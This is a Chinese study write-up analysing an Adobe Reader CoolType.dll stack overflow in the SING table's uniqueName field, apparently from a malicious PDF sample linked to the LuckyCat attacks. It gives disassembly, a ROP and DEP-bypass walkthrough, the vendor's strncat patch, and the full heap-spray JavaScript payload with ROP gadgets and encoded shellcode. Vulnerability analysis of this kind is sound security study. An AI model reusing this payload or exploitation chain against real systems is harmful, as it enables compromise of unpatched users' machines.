目录
参考学习于:《漏洞战争》
这个漏洞曾用于一起APT攻击案例——LuckyCat攻击
基于字符串定位的漏洞分析方法
漏洞在CoolType.dll文件中,ida打开字符串窗口,双击进去,解引用,第二个
看看代码
.text:0803DCF9 push ebp .text:0803DCFA sub esp, 104h ;分配栈空间0x104 .text:0803DD00 lea ebp, [esp-4] ;获取栈顶-4作为ebp的值 .text:0803DD04 mov eax, ___security_cookie .text:0803DD09 xor eax, ebp .text:0803DD0B mov [ebp+108h+var_4], eax .text:0803DD11 push 4Ch .text:0803DD13 mov eax, offset sub_8184A54 .text:0803DD18 call __EH_prolog3_catch .text:0803DD1D mov eax, [ebp+108h+arg_C] .text:0803DD23 mov edi, [ebp+108h+arg_0] .text:0803DD29 mov ebx, [ebp+108h+arg_4] .text:0803DD2F mov [ebp+108h+var_130], edi .text:0803DD32 mov [ebp+108h+var_138], eax .text:0803DD35 call sub_804172C .text:0803DD3A xor esi, esi .text:0803DD3C cmp dword ptr [edi+8], 3 .text:0803DD40 mov [ebp+108h+var_10C], esi .text:0803DD43 jz loc_803DF00 .text:0803DD49 mov [ebp+108h+var_124], esi .text:0803DD4C mov [ebp+108h+var_120], esi .text:0803DD4F cmp dword ptr [edi+0Ch], 1 .text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1 .text:0803DD57 jnz loc_803DEA9 .text:0803DD5D push offset aName ; "name" .text:0803DD62 push edi ; int .text:0803DD63 lea ecx, [ebp+108h+var_124] .text:0803DD66 mov [ebp+108h+var_119], 0 .text:0803DD6A call sub_80217D7 .text:0803DD6F cmp [ebp+108h+var_124], esi .text:0803DD72 jnz short loc_803DDDD .text:0803DD74 push offset aSing ; "SING" .text:0803DD79 push edi ; int .text:0803DD7A lea ecx, [ebp+108h+var_12C] ;这个是this指针,作者说指向sing表入口 .text:0803DD7D call sub_8021B06 ;里面好像是将"SING"跟一些字符串比较,做不同的处理 .text:0803DD82 mov eax, [ebp+108h+var_12C] .text:0803DD85 cmp eax, esi ;调用完上面的函数var_12C已经不为空了 .text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2 .text:0803DD8B jz short loc_803DDC4 ;比较结果不为0,不跳 .text:0803DD8D mov ecx, [eax] ;获取sing表的第一个4字节,即字体资源版本号(00 01 00 00) .text:0803DD8F and ecx, 0FFFFh ;and的结果为0 .text:0803DD95 jz short loc_803DD9F ;所以这里跳转 .text:0803DD97 cmp ecx, 100h .text:0803DD9D jnz short loc_803DDC0 ;字节逆序是版本是100,cmp结果是0 .text:0803DD9F .text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj .text:0803DD9F add eax, 10h ;偏移0x10字节,为uniqueName域 .text:0803DDA2 push eax ; 源地址是指向uniqueName域的指针 .text:0803DDA3 lea eax, [ebp+108h+var_108] .text:0803DDA6 push eax ; 目标地址是栈上 .text:0803DDA7 mov [ebp+108h+var_108], 0 .text:0803DDAB call strcat ;将uniqueName域连接到栈上,造成栈溢出
我们看看PDF样板里面的TTF文件
下面是TableEntry结构
第一个是标记"SING",第二个是校验和"0xD9BCC8B5"
第三个是相对文件的偏移量:0x11c,最后一个是数据长度:0x1ddf
那其实这个相当于SING表的头啊,那我们去0x11c找sing表
我们看到了版本,那再偏移0x10就是uniqueName域,共28字节
我们从汇编看到会从 58 e0 8d ad 8a …….复制到栈上,直到遇到NULL字符串终止符
那我们在strcat前面下个断点
可以看到样本的字体数据已经读入内存
下面可知道是将uniqueName复制到ebp所执行的栈上
对栈上的这段数据设置内存访问断点
、
第一个断下来读取的是开头的字节
按了好久f9到了这,读取第一个4字节。不断按f9,发现是向后4字节4字节地读取
跟着将栈上的数据复制到一个46开头的地方
跟着有个东西写到栈上
之后才来到了作者那里,读取了栈上的数据,call
之后我们f7跟进,这是rop1
leave就是相当于mov esp,ebp, pop ebp
这里是返回到样本uniqueName的第3个4字节(那个箭头我画错了,看看esp,再看看栈就知道)
着我们就来到了第二个rop指令
通过pop esp,我们就成功将esp设置为0x0c0c0c0c了,经典的heap spray啊!
我们反过来看看样本,就是关键地址的位置,下面的是call [eax],带我们去rop1
通过rop1,我们的ret到下面第一个框,从而去到rop2,成功通过rop2的pop esp将esp设置0x0c0c0c0c
由于这两个地址都在icucnv36.dll,因为这两个地址在adobe reader个版本上的地址是不变的,所以兼容性和稳定性强
pdf支持javascript脚本,其实在这以前,已经heap spray了,我们看看解密后的js代码
msf的变量应该是使用了随机字符串的,但能看出来是heap spray
var PVtXNSbsBDH = unescape; var EolKWFK = PVtXNSbsBDH( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ucfd9%u8dbf%uc68a%ud9b0%u2474%u58f4%uc929%u49b1%ue883%u31fc%u1578%u7803%u6f15%u3a7f%ue658%uc380%u9899%u2609%u8aa8%u226e%u1a99%u66e4%ud112%u92a8%u97a1%u9464%u1d02%u9b53%u9093%u775b%ub357%u8a27%u1384%u4519%u52d9%ub85e%u0612%ub637%ub681%u8a3c%ub719%u8092%ucf22%u5797%u65d6%u8799%uf247%u3fd1%u5ce3%u3ec2%ubf20%u083e%u0b4d%u8bb4%u4287%uba35%u08e7%u7208%u51ea%ub54c%u2415%uc5a6%u3ea8%ub77d%ucb76%u1f60%u6bfc%ua141%uedd1%uad02%u7a9e%ub24c%uaf21%ucee6%u4eaa%u4729%u74e8%u03ed%u15aa%ue9b4%u2a1d%u56a6%u8ec1%u75ac%ua816%u11ee%u86db%ue210%u9173%ud063%u09dc%u58ec%u9794%u9feb%u6f8f%u5e63%u8f30%ua5ad%udf64%u0cc5%ub405%ub015%u1ad0%u1e46%uda8b%ude36%ub27b%ud15c%ua2a4%u3b5e%u48cd%uaca4%u8cf8%u23a4%u8e95%u2aa8%u0739%u264e%u41d1%udfd8%uc848%u7e92%uc794%u41de%ueb1e%u0f1f%u86d7%uf833%udd17%uaf6e%uc828%u5005%uf6bd%u078f%uf429%u60f6%u07f6%ufadd%u9d3f%u949e%u713f%u651f%u1b16%u0d1f%u7fce%u284c%uaa11%ue1e0%u5484%u5551%u3c0e%u805f%ue378%ue7a0%ud878%uce76%u28fe%u22fd%u41c3' ); var JugRVXrvaQFK = PVtXNSbsBDH( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (JugRVXrvaQFK.length + 20 + 8 < 65536) JugRVXrvaQFK+=JugRVXrvaQFK; dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj = JugRVXrvaQFK.substring(0, (0x0c0c-0x24)/2); dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += EolKWFK; dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += JugRVXrvaQFK; jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD = dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj.substring(0, 65536/2); while(jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.length < 0x80000) jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD += jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD; MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO = jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.substring(0, 0x80000 - (0x1020-0x08) / 2); var rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb = new Array(); for (rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail=0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail<0x1f0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail++) rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb[rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail]=MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO+"s";
接下来就返回到这了
rop3,将ecx设置为0x4A8A0000
继续,想ecx指向的地方(0x4A8A0000)写入0x12e6ac,还是那个经典的地址
继续,将eax设置为
之后就返回到调用CreateFileA
我们来看看参数,iso88591的文件
确实来到这
继续单步,很多rop
下面设置mapping的参数吧
手法相似
我们也看到了刚才被and后的第一个参数
跟着
之后就memcpy到MapViewOfFile的返回地址0x.3cc0000
之后就return到这了执行了,这样我们将shellcode复制到这个地址再执行就绕过DEP了
shellcode部分
在windows目录创建了一个文件
这个不知道是不是本来就有了
下面好像给谁发HTTP响应似的
最后在这里退出了,不知道shellcode做了啥
由于在我的机器上shellcode没法执行成功检测不到恶意行为
wireshark也监测不到
其实作者还是没说从strcat覆盖到第一个rop到底发生了什么
作者只是将样本走一遍,
溢出覆盖了什么关键位置,从覆盖到第一个rop到底发生了什么,我们尝试找一下
我们在下面的函数的前面第一句汇编下个断点
跟随
是调用了一个call [eax],继续在下面汇编所在函数前面下断点
继续
已经返回到sub_803DCF9函数内了
后来发现这样也发现不了什么
上面只不过是找到了函数调用的轨迹而已
还是看看eax怎么来的应该好一点
首先是来源于[edi+0x3c]
动态调试也确定了
结合动态调试,通过回溯,edi为函数传进来的第一个参数
再找到上一层函数,就是这里传进来的
其实在strcat复制之前,未来的edi,在已经指向了0x0012e6ac了
而还没strcat之前,0x0012e6ac这里指向0x080833EF
再清晰一点就下个写入断点
没错就是写入那个rop的地址
那么怎么触发的漏洞的就清楚啦
那么这个位置又是啥,后来发现下硬件断点好点,速度快
原来是在这里写入的
ida看看,原始是this指针指向的地方(偏移为8的地方)
具体这个对象是什么对象的区域就不确定了,应该是字体对象?
漏洞修复
想知道漏洞是怎么修复的,下载个新的安装,对比一下,看看adobe是怎么修复的
首先定位大漏洞dll的代码处,同时左边就banging自动定位了
bindiff已经帮我们显示了,原来是用那个函数替换了strcat
我们去哪个函数看看
跟进
就是对长度写死了,还有使用了安全的strncat,我发现其实这个函数在patch了的dll中使用了还挺多的啊
漏洞总结
漏洞是由于将uniqueName域链接到局部变量的时候,没有检查其长度,导致覆盖了栈上的重要变量,具体就不知道是哪个对象的空间了,从而导致可以利用漏洞,利用rop绕过dep,至于具体的溢出覆盖后,怎么一步步到达第一个rop的执行流程可以查看“其实作者还是没说溢出利用的原理是什么”部分